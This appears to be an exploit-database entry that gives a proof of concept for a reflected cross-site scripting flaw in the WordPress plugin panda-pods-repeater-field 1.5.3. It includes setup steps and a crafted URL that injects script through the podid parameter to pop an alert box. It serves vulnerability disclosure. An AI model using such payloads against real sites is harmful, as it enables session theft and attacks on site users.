Share
## https://sploitus.com/exploit?id=WPEX-ID:18D7F9AF-7267-4723-9D6F-05B895C94DBE
1. Install Pods plugin (dependency) - https://wordpress.org/plugins/pods

2. Install the vulnerable plugin (panda-pods-repeater-field) - https://wordpress.org/plugins/panda-pods-repeater-field (v1.5.3)

3. As an authenticated user, visit the following URL to trigger an alert box:

http://example.com/wp-content/plugins/panda-pods-repeater-field/fields/pandarepeaterfield.php?itemid=1&podid=1);%20alert(/xss/);/*x&iframe_id=panda-repeater-add-new&success=1